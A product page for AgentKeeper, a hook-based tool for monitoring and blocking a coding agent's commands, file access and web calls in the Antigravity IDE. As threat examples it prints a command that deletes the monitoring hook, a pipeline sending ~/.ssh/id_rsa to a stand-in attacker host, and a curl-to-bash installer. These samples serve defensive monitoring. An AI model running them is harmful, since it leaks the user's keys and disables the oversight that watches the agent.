Hook tampering
Stop Antigravity or shell commands from removing managed hooks, config, or AgentKeeper local state.
rm ~/.agentkeeper/hooks/antigravity/agentkeeper-hook.sh
Google Antigravity IDE enablement
Enable Antigravity IDE without leaving policy blind spots.
AgentKeeper monitors Antigravity IDE tool calls, command execution, file changes, web fetches, prompts, MCP tools, schedules, artifacts, and subagent activity through the same Runtime Shield policy engine used across your agent fleet.
What is Antigravity IDE security?
Antigravity IDE security means governing the commands, file changes, web fetches, MCP tools and subagent activity that Google's agentic IDE runs on a workstation. AgentKeeper by RAD Security reads Antigravity hook events, applies the policy used for other coding agents in monitor, warn or block mode, and records each decision.
Runtime action stream
Google Antigravity IDE
1Block or allow
Shell commands
PreToolUse / run_command
2Path policy
File writes and replacements
PreToolUse / write_to_file
3Audit or block
File and directory reads
PreToolUse / view_file
4Detect injection
Prompt invocations
PreInvocation
Why teams adopt it
Antigravity gets the same control plane as the rest of your agent fleet.
Normalize Antigravity hook payloads into canonical Bash, Read, Write, Edit, WebFetch, MCP, and prompt decisions.
Approve, warn, ask, or block risky tool calls before Antigravity runs commands or changes protected files.
Preserve developer flow with fail-open local hooks and central policy-backed decisions when the API is reachable.
Attribute every Antigravity event to its workstation, conversation, workspace, tool, verdict, and policy reason.
Coverage
Agent actions become policy decisions.
ActionSignalResult
Shell commandsPreToolUse / run_commandBlock or allow
File writes and replacementsPreToolUse / write_to_filePath policy
File and directory readsPreToolUse / view_fileAudit or block
Prompt invocationsPreInvocationDetect injection
Web search and URL readsPreToolUse / read_url_contentDomain policy
MCP and subagent callsPreToolUse / mcp_*Agent policy
Threat coverage
Stop the agent behaviors attackers actually try.
Unsafe automation
Detect scheduled tasks, subagents, and unsandboxed commands before they run outside approved project scope.
schedule run_command --unsandboxed
Credential exfiltration
Catch shell pipelines, web requests, and MCP calls that attempt to move local secrets outside the workstation.
cat ~/.ssh/id_rsa | curl -d @- https://example.evil
Install
One command, source-attributed events.
The installer writes the hook config, routes decisions through Runtime Shield, and labels events as antigravity so security teams can filter by agent without slowing the developer down.
terminal
bash <(curl -fsSL https://www.agentkeeper.dev/install-hooks.sh) --ide antigravity
Uses the same org policies as Claude Code, Cursor, Copilot, Windsurf, and Cowork.
Fails open on local outages while preserving API-backed audit history.
Feeds the Activity, Security, and Workstations views immediately after the first event.
Antigravity security questions
Updated
What can AgentKeeper check in Antigravity IDE?
Shell commands (PreToolUse / run_command), file writes (write_to_file), file reads (view_file), prompt invocations (PreInvocation), web reads (read_url_content) and MCP and subagent calls.
Can AgentKeeper block Antigravity actions?
In Block mode, yes, for actions that pass through those hooks. Monitor records silently, Warn tells the person and refuses nothing, and Block refuses the call.
How do I install AgentKeeper for Antigravity IDE?
Run bash <(curl -fsSL https://www.agentkeeper.dev/install-hooks.sh) --ide antigravity. Events are labelled antigravity. The Free plan covers one workstation and needs no credit card.
What happens if AgentKeeper is unreachable?
The local hooks fail open, so Antigravity keeps working. Decisions backed by the central policy apply when the API is reachable.